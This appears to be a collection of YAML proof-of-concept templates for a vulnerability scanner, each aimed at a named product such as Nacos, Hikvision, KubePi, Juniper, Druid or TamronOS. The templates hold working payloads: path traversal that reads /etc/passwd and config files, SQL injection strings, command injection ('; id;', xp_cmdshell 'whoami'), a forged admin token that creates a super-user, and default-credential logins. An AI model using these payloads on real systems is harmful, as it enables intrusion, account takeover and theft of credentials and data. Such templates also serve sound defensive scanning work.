--------------------------------------------------------------------------------
1 | name: poc-yaml-Docker-RemoteAPI-leak
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - /info
6 | - /version
7 | - /images/json
8 | expression:
9 | status: 200
10 | body_any:
11 | - "ID"
12 | - "Containers"
13 | - "Version"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Druidun-cve-2021-36749.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Druidun-cve-2021-36749
2 | description: "可使用使用file://协议进行读取文件"
3 | method: POST
4 | headers:
5 | Content-Type: "application/json"
6 | body: >
7 | {
8 | "type":"index",
9 | "spec":{
10 | "type":"index",
11 | "ioConfig":{
12 | "type":"index",
13 | "firehose":{
14 | "type":"http",
15 | "uris":["file:///etc/passwd"]
16 | }
17 | },
18 | "dataSchema":{
19 | "dataSource":"sample",
20 | "parser":{
21 | "type":"string",
22 | "parseSpec":{
23 | "format":"regex",
24 | "pattern":"(.*)",
25 | "columns":["a"],
26 | "dimensionsSpec":{},
27 | "timestampSpec":{
28 | "column":"!!!_no_such_column_!!!",
29 | "missingValue":"2010-01-01T00:00:00Z"
30 | }
31 | }
32 | }
33 | }
34 | },
35 | "samplerConfig":{
36 | "numRows":500,
37 | "timeoutMs":15000
38 | }
39 | }
40 | path:
41 | - "/druid/indexer/v1/sampler?for=connect"
42 | expression:
43 | status: 200
44 | body_any:
45 | - "root:x:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-EAA-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-EAA益和应用接入系统-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
6 | expression:
7 | status: 200
8 | body_all:
9 | - "16-bit"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-EOffice-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-泛微-EOffice-sql
2 | description: "SQL注入"
3 | method: GET
4 | path:
5 | - "/E-mobile/flowdo_page.php?diff=delete&RUN_ID=(SELECT%20(CASE%20WHEN%20(2080=2080)%20THEN%201%20ELSE%20(SELECT%204346%20UNION%20SELECT%201731)%20END))*"
6 | - "/E-mobile/flowdo_page.php?diff=delete&flowid=1"
7 | - "/E-mobile/flowimage_page.php?FLOW_ID=2"
8 | - "/E-mobile/diaryother_page.php?searchword=23"
9 | - "/E-mobile/create/ajax_do.php?diff=word&sortid=1"
10 | - "/E-mobile/create/ajax_do.php?diff=word&idstr=1"
11 | - "/E-mobile/flow/freeflowimg.php?RUN_ID="
12 | - "/E-mobile/create/ajax_do.php?diff=addr&sortid=1"
13 | - "/E-mobile/create/ajax_do.php?diff=addr&userdept=1"
14 | - "/E-mobile/create/ajax_do.php?diff=addr&userpriv=1"
15 | - "/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1"
16 | - "/E-mobile/flow/flowhave_page.php?detailid=2,3"
17 | - "/E-mobile/flow/flowtype_free.php?flowid=1"
18 | - "/E-mobile/flow/flowtype_free.php?runid=1"
19 | - "/E-mobile/flow/flowtype_other.php?flowid=1"
20 | - "/E-mobile/flow/flowtype_other.php?runid=1"
21 | - "/E-mobile/flow/freeflowimage_page.php?fromid=2"
22 | - "/E-mobile/flow/freeflowimage_page.php?diff=new&runid=2"
23 |
24 | expression:
25 | status: 200
26 | body_any:
27 | - "mysql_fetch_array"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-EasyCVR-default-password.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-EasyCVR视频管理平台-默认账户密码
2 | description: "登录方式:easycvr/easycvr"
3 | method: GET
4 | path:
5 | - /api/v1/login?_t=1696841652&username=easycvr&password=5cdecdb8e87a0db1fe6e35555a870ae5
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Token"
10 | - "id"
11 |
12 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-EasyCVR-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-EasyCVR视频管理平台-leak
2 | description: "用户密码信息泄露"
3 | method: GET
4 | path:
5 | - /api/v1/userlist?pageindex=0&pagesize=10
6 | expression:
7 | status: 200
8 | body_all:
9 | - "count"
10 | - "Name"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Everything-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Everything-unauth
2 | description: "Everything未授权访问"
3 | method: GET
4 | path:
5 | - /
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Everything"
10 | - "索引 /"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Gerapy-admin-default.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Gerapy-admin-default
2 | description: "登录方式:admin/admin"
3 | method: POST
4 | headers:
5 | Content-Type: "application/json"
6 | body: >
7 | {"username":"admin","password":"admin"}
8 | path:
9 | - /api/user/auth
10 | expression:
11 | status: 200
12 | body_any:
13 | - "token"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-HIKVISION-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-HIKVISION-综合安防管理平台-leak
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - /artemis-portal/artemis/env
6 | - /artemis-portal/artemis/metrics
7 | - /artemis-portal/artemis/loggers
8 | - /artemis-portal/artemis/mappings
9 | - /artemis-portal/artemis/health
10 | expression:
11 | status: 200
12 | body_any:
13 | - "database"
14 | - "profiles"
15 | - "processors"
16 | - "levels"
17 | - "/webjars/"
18 |
19 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-HJSOFT-HCM-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-人力资源信息管理系统-CNVD-2023-08743
2 | description: "SQL注入"
3 | method: GET
4 | body: "op=verify%7Clogin&targetpage=&errorpage=WEB-INF/web.xml&mark=&tzo=480&username=admin&password=admin"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d
9 | expression:
10 | status: 200
11 | body_all:
12 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-HiveServer-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-HiveServer-unauth
2 | description: "HiveServer未授权访问"
3 | method: GET
4 | path:
5 | - /
6 | expression:
7 | status: 200
8 | body_all:
9 | - "HiveServer"
10 | - "Active Sessions"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Jenkins-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Jenkins-unauth
2 | description: "Jenkins未授权访问"
3 | method: GET
4 | path:
5 | - /
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Dashboard"
10 | - "Jenkins"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-JumpServer-CVE-2023-42442.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-JumpServer-CVE-2023-42442
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - "/api/v1/terminal/sessions/"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "id"
10 | - "user"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Juniper-CVE-2023-36845.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Juniper-CVE-2023-36845
2 | description: "CVE-2023-36845"
3 | method: POST
4 | body: auto_prepend_file="/etc/passwd"
5 | headers:
6 | Upgrade-Insecure-Requests: 1
7 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 | Content-Type: "application/x-www-form-urlencoded"
9 | path:
10 | - /?PHPRC=/dev/fd/0
11 | expression:
12 | status: 200
13 | body_any:
14 | - "root:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-JupyterLab-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-JupyterLab-unauth
2 | description: "未授权访问"
3 | method: GET
4 | path:
5 | - /lab?
6 | expression:
7 | status: 200
8 | body_all:
9 | - "settings"
10 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-KubePi-createuser.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-K8S管理面板-KubePi-createuser
2 | description: "任意用户创建,登录方式:TTTest/test"
3 | method: POST
4 | headers:
5 | Authorization: "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8"
6 | Accept: "application/json"
7 | Content-Type: "application/json"
8 | Upgrade-Insecure-Requests: 1
9 | User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"
10 | Accept-Encoding: "gzip, deflate"
11 | Connection: "close"
12 | body: >
13 | {
14 | "authenticate": {
15 | "password": "test"
16 | },
17 | "email": "testtest@TTTest.com",
18 | "isAdmin": true,
19 | "mfa": {
20 | "enable": false
21 | },
22 | "name": "TTTest",
23 | "nickName": "test",
24 | "roles": [
25 | "Supper User"
26 | ]
27 | }
28 |
29 | path:
30 | - /kubepi/api/v1/users
31 | expression:
32 | status: 200
33 | body_any:
34 | - "testtest@TTTest.com"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Landray-OA-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-蓝凌OA-Diretory
2 | description: "任意文件读取"
3 | method: POST
4 | headers:
5 | Content-Type: "application/x-www-form-urlencoded"
6 | body: >
7 | var={"body":{"file":"file:///etc/passwd"}}
8 | path:
9 | - /sys/ui/extend/varkind/custom.jsp
10 | expression:
11 | status: 200
12 | body_all:
13 | - "root:x"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Lightdash-CVE-2023-35844.yaml:
--------------------------------------------------------------------------------
1 | name: Lightdash-cve-2023-35844
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - "/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd"
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root"
10 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-MinIO-CVE-2023-28432.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-MinIO-CVE-2023-28432
2 | description: "敏感信息泄露"
3 | method: POST
4 | headers:
5 | Content-Type: "application/x-www-form-urlencoded"
6 | path:
7 | - /minio/bootstrap/v1/verify
8 | expression:
9 | status: 200
10 | body_any:
11 | - "Env"
12 | - "MINIO"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Mongo-express-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Mongo-express-unauth
2 | description: "Mongo-express未授权访问"
3 | method: GET
4 | path:
5 | - "/"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "/db/admin"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-NUUO-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-NUUO摄像头-cmd
2 | description: "任意命令执行"
3 | method: GET
4 | path:
5 | - /__debugging_center_utils___.php?log=;id
6 | expression:
7 | status: 200
8 | body_any:
9 | - "uid="
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Nacos-CVE-2021-29441.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Nacos-CVE-2021-29441
2 | description: "权限认证绕过"
3 | method: GET
4 | path:
5 | - /nacos/v1/auth/users?pageNo=1&pageSize=10
6 | expression:
7 | status: 200
8 | body_all:
9 | - "username"
10 | - "password"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Nacos-admin-default-password.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Nacos-admin-default-password
2 | description: "默认账号密码:nacos/nacos"
3 | method: POST
4 | body: "username=nacos&password=nacos"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /nacos/v1/auth/users/login
9 | expression:
10 | status: 200
11 | body_any:
12 | - "accessToken"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-NexusManager-CVE-2024-4956.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-NexusManager-CVE-2024-4956
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Node-Exporter-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Node-Exporter-unauth
2 | description: "metrics接口信息泄露"
3 | method: GET
4 | path:
5 | - /metrics
6 | expression:
7 | status: 200
8 | body_any:
9 | - "go_gc"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Node-RED-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Node-RED-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:x"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Prometheus-unatuh.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Prometheus-unatuh
2 | description: "Prometheus监控系统未授权访问"
3 | method: GET
4 | path:
5 | - /
6 | expression:
7 | status: 200
8 | body_any:
9 | - "GLOBAL_CONSOLES_LINK"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Ruijie-CVE-2023-4415.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-锐捷网络-CVE-2023-4415.yaml
2 | description: "锐捷RG-EW1200G登录绕过"
3 | method: POST
4 | body: >
5 | {"username":"2","password":"123","timestamp":1692412880000}
6 | headers:
7 | Content-Type: "application/json"
8 | path:
9 | - /api/sys/login
10 | expression:
11 | status: 200
12 | body_any:
13 | - "登入成功"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-SXF-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-深信服-应用交付管理系统-cmd
2 | description: "任意命令执行"
3 | method: POST
4 | body: "userID=admin%0Aid%0A&userPsw=123&page=login&log_type=report&index=index&clsMode=cls_mode_login&rnd=0.9709373567217479"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | path:
8 | - /rep/login
9 | expression:
10 | status: 200
11 | body_all:
12 | - "uid"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-SonarQube-auth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-SonarQube-代码管理-auth
2 | description: "接口存在信息泄露漏洞可以获取部分敏感信息"
3 | method: GET
4 | path:
5 | - /api/settings/values
6 | expression:
7 | status: 200
8 | body_any:
9 | - "key"
10 | - "value"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-SpringActuatorHeapdump.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-SpringActuatorHeapdump
2 | description: "可下载内存文件,文件中会包含大量敏感信息"
3 | method: HEAD
4 | path:
5 | - /actuator/heapdump
6 | expression:
7 | status: 200
8 | content_type: "application/octet-stream"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-TTX-CMS.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-通天星CMS-sql
2 | description: "SQL注入"
3 | method: GET
4 | path:
5 | - "/run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1"
6 | expression:
7 | status: 200
8 | body_all:
9 | - "message"
10 | - "OK"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-TamronOS-IPTV-createuser.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-TamronOS-IPTV-createuser
2 | description: "可创建任意用户"
3 | method: GET
4 | path:
5 | - /api/manager/submit?group=1&username=test&password=123456
6 | expression:
7 | status: 200
8 | body_any:
9 | - "成功"
10 | - "true"
11 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-TamronOS-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-TamronOS-IPTV-cmd
2 | description: "可任意执行命令"
3 | method: GET
4 | path:
5 | - /api/ping?count=5&host=;id;
6 | expression:
7 | status: 200
8 | body_any:
9 | - "uid"
10 | - "gid"
11 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Tencent-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Tencent-企业微信-leak
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - /cgi-bin/gateway/agentinfo
6 | expression:
7 | status: 200
8 | body_all:
9 | - "strcorpid"
10 | - "Secret"
11 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Tenda-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Tenda路由器-leak
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - /cgi-bin/DownloadCfg.jpg
6 | expression:
7 | status: 200
8 | body_all:
9 | - "passwd"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-WIFISKY-admin-default-passwd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-WIFISKY7层流控路由器-admin-default-passwd
2 | description: "登录方式:admin/admin"
3 | method: POST
4 | headers:
5 | Content-Type: " application/x-www-form-urlencoded; charset=UTF-8"
6 | User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"
7 | Accept-Encoding: "gzip, deflate"
8 | Connection: "close"
9 | body: "username=admin&password=admin"
10 | path:
11 | - /login.php?action=login&type=admin
12 | expression:
13 | status: 200
14 | body_any:
15 | - "success"
16 | - "您正在使用默认密码登录"
17 | - "注销"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-WYXY-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-网御星云-上网行为管理系统-sql
2 | description: "SQL注入"
3 | method: GET
4 | path:
5 | - "/bottomframe.cgi?user_name=%27))%20union%20select%20user()%23"
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-XXLJOB-admin-default-passwd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-XXLJOB-admin-default-passwd
2 | description: "登录方式:admin/123456"
3 | method: POST
4 | body: "userName=admin&password=123456"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | path:
8 | - /login
9 | expression:
10 | status: 200
11 | body_all:
12 | - "修改密码"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Zabbix-default-passwd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-ZABBIX-监控系统-default-passwd
2 | description: "登录方式:Admin/zabbix"
3 | method: POST
4 | body: "name=Admin&password=zabbix&autologin=1&enter=Sign+in"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | Accept: "*/*"
8 | X-Requested-With: "XMLHttpRequest"
9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
10 | Encoding: "gzip, deflate"
11 | Accept-Language: "zh-CN,zh;q=0.9"
12 | Connection: "close"
13 | path:
14 | - /index.php
15 | expression:
16 | status: 200
17 | body_all:
18 | - "Dashboard"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-activemq-admin-default-password.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-activemq-admin-default-password
2 | description: "默认账号密码:admin/admin"
3 | method: GET
4 | headers:
5 | Authorization: "Basic YWRtaW46YWRtaW4="
6 | path:
7 | - /admin/
8 | expression:
9 | status: 200
10 | body_all:
11 | - "Welcome"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-bdzdaqpt-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-北斗主动安全云平台-Directory
2 | description: "任意文件下载"
3 | method: GET
4 | path:
5 | - "/808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "jdbc"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-dhcsafxt-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-大华城市安防监控系统平台-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:x"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-dhyqgl-userleak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-大华智慧园区综合管理平台-userleak
2 | description: "用户密码泄露"
3 | method: GET
4 | path:
5 | - /admin/user_getUserInfoByUserName.action?userName=system
6 | expression:
7 | status: 200
8 | body_all:
9 | - "loginPass"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-docker-registry-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-docker-registry-unauth
2 | description: "docker-registry未授权访问"
3 | method: GET
4 | path:
5 | - /home
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Report a bug"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-dubbo-admin-default-password.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-dubbo-admin-default-password
2 | description: "dubbo默认账号密码:root/root"
3 | method: GET
4 | headers:
5 | Authorization: "Basic cm9vdDpyb290"
6 | path:
7 | - /
8 | expression:
9 | status: 200
10 | body_all:
11 | - "Dubbo Admin"
12 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-e-Bridge-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-泛微云桥e-Bridge-sql
2 | description: "sql注入"
3 | method: GET
4 | path:
5 | - /taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=1%27%20AND%20(SELECT%208094%20FROM%20(SELECT(SLEEP(5-(IF(18015%3e3469,0,4)))))mKjk)%20OR%20%27KQZm%27=%27REcX
6 | expression:
7 | status: 200
8 | body_all:
9 | - "添加体验账号程序异常"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-fqhl-FE-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-飞企互联-FE业务协作平台-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print
6 | expression:
7 | status: 200
8 | body_all:
9 | - "jdbc.url"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-gld-OA-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-广联达OA-sql
2 | description: "sql注入"
3 | method: POST
4 | body: "key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | path:
8 | - /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary
9 | expression:
10 | status: 200
11 | body_all:
12 | - "admin"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-go-pprof-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-go-pprof-leak
2 | description: "Go语言pprof包中的api信息泄露"
3 | method: GET
4 | path:
5 | - /debug/pprof/
6 | # - /debug/pprof/goroutine?debug=1
7 | expression:
8 | status: 200
9 | body_any:
10 | - "/debug/pprof/"
11 | - "available"
12 | - "goroutine"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-hcjcyjxt-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-华测监测预警系统-Directory
2 | description: "任意文件读取"
3 | method: POST
4 | body: "filename=1&filepath=..%2F..%2Fweb.config"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /Handler/FileDownLoad.ashx
9 | expression:
10 | status: 200
11 | body_all:
12 | - "SysName"
13 | - "SysNameEn"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-hikvision-cve-2017-7921.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-hikvision-cve-2017-7921
2 | description: "可检索所有用户及其角色的列表、获取相机快照、下载摄像头配置账号密码文件"
3 | method: GET
4 | path:
5 | - /system/deviceInfo?auth=YWRtaW46MTEK
6 | expression:
7 | status: 200
8 | body_all:
9 | - "userName"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-jindir-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-金蝶云星空管理中心-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /CommonFileServer/c%3a%2fwindows%2fwin.ini
6 | expression:
7 | status: 200
8 | body_all:
9 | - "16-bit"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-jinhe-oa-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-金和网络-金和OA-sql
2 | description: "sql注入"
3 | method: GET
4 | timeout: 10
5 | path:
6 | - "/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1%3bWAITFOR+DELAY+%270%3a0%3a5%27+--%20and%201=1"
7 | expression:
8 | status: 200
9 | body_all:
10 | - "id"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-jshERP-ensitive-information.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-华夏ERP-Sensitive-information
2 | description: "用户名和密码敏感漏洞"
3 | method: GET
4 | path:
5 | - "/jshERP-boot/user/getAllList;.ico"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "userList"
10 | - "code"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-kibana-unatuh.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-kibana-unauth
2 | description: "kibana未授权访问"
3 | method: GET
4 | path:
5 | - /
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Inter UI"
10 | - "add-scripts-here"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-kibana-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-kibana-unauth
2 | description: "kibana未授权访问"
3 | method: GET
4 | path:
5 | - "/app/kibana"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "kibanaWelcomeView"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-mi-route-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-小米路由器-Directory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /api-third-party/download/extdisks../etc/passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-nginxWebUI-runCmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-nginxWebUI-runCmd
2 | description: "后台执行任意命令"
3 | method: GET
4 | path:
5 | - /AdminPage/conf/runCmd?cmd=cat%20/etc/passwd
6 | expression:
7 | status: 200
8 | body_any:
9 | - "root:x"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-nps-defaultpasswd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-NPS内网穿透-defaultpasswd
2 | description: "登录方式:admin/123"
3 | method: POST
4 | body: "username=admin&password=123"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | Accept: "*/*"
8 | X-Requested-With: "XMLHttpRequest"
9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
10 | Encoding: "gzip, deflate"
11 | Accept-Language: "zh-CN,zh;q=0.9"
12 | Connection: "close"
13 | path:
14 | - /login/verify
15 | expression:
16 | status: 200
17 | body_any:
18 | - "success"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-qwza-erp-runcmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-企望制造ERP系统-runcmd
2 | description: "企望制造ERP系统执行任意命令"
3 | method: POST
4 | body: "comboxsql=exec%20xp_cmdshell%20'whoami'"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /mainFunctions/comboxstore.action
9 | expression:
10 | status: 200
11 | body_all:
12 | - "system"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-sangfor-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-深信服-防火墙-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
